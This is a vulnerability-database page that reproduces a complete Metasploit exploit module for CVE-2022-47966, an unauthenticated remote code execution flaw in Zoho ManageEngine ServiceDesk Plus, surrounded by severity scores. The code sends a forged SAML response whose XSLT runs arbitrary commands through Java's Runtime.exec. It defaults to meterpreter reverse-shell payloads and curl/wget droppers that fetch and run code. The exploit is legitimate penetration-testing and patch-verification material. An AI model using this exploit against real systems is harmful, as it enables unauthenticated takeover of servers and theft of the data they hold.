Lucene search

K
zdtMetasploit1337DAY-ID-38189
HistoryFeb 07, 2023 - 12:00 a.m.

Zoho ManageEngine ServiceDesk Plus 14003 Remote Code Execution Exploit

2023-02-0700:00:00
metasploit
0day.today
272

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.974 High

EPSS

Percentile

99.9%

This Metasploit module exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted samlResponse XML to the ServiceDesk Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status.

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE',
        'Description' => %q{
          This exploits an unauthenticated remote code execution vulnerability
          that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and
          below (CVE-2022-47966). Due to a dependency to an outdated library
          (Apache Santuario version 1.4.1), it is possible to execute arbitrary
          code by providing a crafted `samlResponse` XML to the ServiceDesk Plus
          SAML endpoint. Note that the target is only vulnerable if it has been
          configured with SAML-based SSO at least once in the past, regardless of
          the current SAML-based SSO status.
        },
        'Author' => [
          'Khoa Dinh', # Original research
          'horizon3ai', # PoC
          'Christophe De La Fuente' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-47966'],
          ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
          ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
          ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
          ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
        ],
        'Platform' => ['win', 'unix', 'linux'],
        'Payload' => {
          'BadChars' => "\x27"
        },
        'Targets' => [
          [
            'Windows EXE Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_dropper,
              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_command,
              'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
              'CmdStagerFlavor' => %w[curl wget echo lwprequest]
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 8080
        },
        'DefaultTarget' => 1,
        'DisclosureDate' => '2023-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE,],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Privileged' => true
      )
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),
      OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'])
    )
    return CheckCode::Unknown unless res

    # vulnerable servers respond with 400 and a HTML body
    return CheckCode::Safe unless res.code == 400

    script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]')
    info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/)
    return CheckCode::Unknown unless info
    unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus'
      return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})")
    end

    # SAML 2.0 support has been added in build 10511
    # see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105
    build = Rex::Version.new(info[:build])
    unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003')
      return CheckCode::Safe("Target build is #{info[:build]}")
    end

    CheckCode::Appears
  end

  def encode_begin(real_payload, reqs)
    super

    reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
      raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
    end
  end

  def exploit
    case target['Type']
    when :windows_command, :unix_cmd
      execute_command(payload.encoded)
    when :windows_dropper, :linux_dropper
      execute_cmdstager(delay: datastore['DELAY'])
    end
  end

  def execute_command(cmd, _opts = {})
    case target['Type']
    when :windows_dropper
      cmd = "cmd /c #{cmd}"
    when :unix_cmd, :linux_dropper
      cmd = cmd.gsub(' ') { '${IFS}' }
      cmd = "bash -c #{cmd}"
    end
    cmd = cmd.encode(xml: :attr).gsub('"', '')

    assertion_id = "_#{SecureRandom.uuid}"
    # Randomize variable names and make sure they are all different using a Set
    vars = Set.new
    loop do
      vars << Rex::Text.rand_text_alpha_lower(5..8)
      break unless vars.size < 3
    end
    vars = vars.to_a
    saml = <<~EOS
      <?xml version="1.0" encoding="UTF-8"?>
      <samlp:Response
        ID="_#{SecureRandom.uuid}"
        InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
        IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:Status>
          <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
        </samlp:Status>
        <Assertion ID="#{assertion_id}"
          IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
          <Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>
          <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
            <ds:SignedInfo>
              <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
              <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
              <ds:Reference URI="##{assertion_id}">
                <ds:Transforms>
                  <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
                  <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
                    <xsl:stylesheet version="1.0"
                      xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
                      xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
                      <xsl:template match="/">
                        <xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
                        <xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
                        <xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
                        <xsl:value-of select="$#{vars[2]}"/>
                      </xsl:template>
                    </xsl:stylesheet>
                  </ds:Transform>
                </ds:Transforms>
                <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
                <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
              </ds:Reference>
            </ds:SignedInfo>
            <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
            <ds:KeyInfo/>
          </ds:Signature>
        </Assertion>
      </samlp:Response>
    EOS

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI']),
      'vars_post' => {
        'SAMLResponse' => Rex::Text.encode_base64(saml)
      }
    })

    unless res&.code == 500
      lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
      unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
        elog("Unkown error returned:\n#{lines.join("\n")}")
        fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")
      end
      fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')
    end

    res
  end

end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.974 High

EPSS

Percentile

99.9%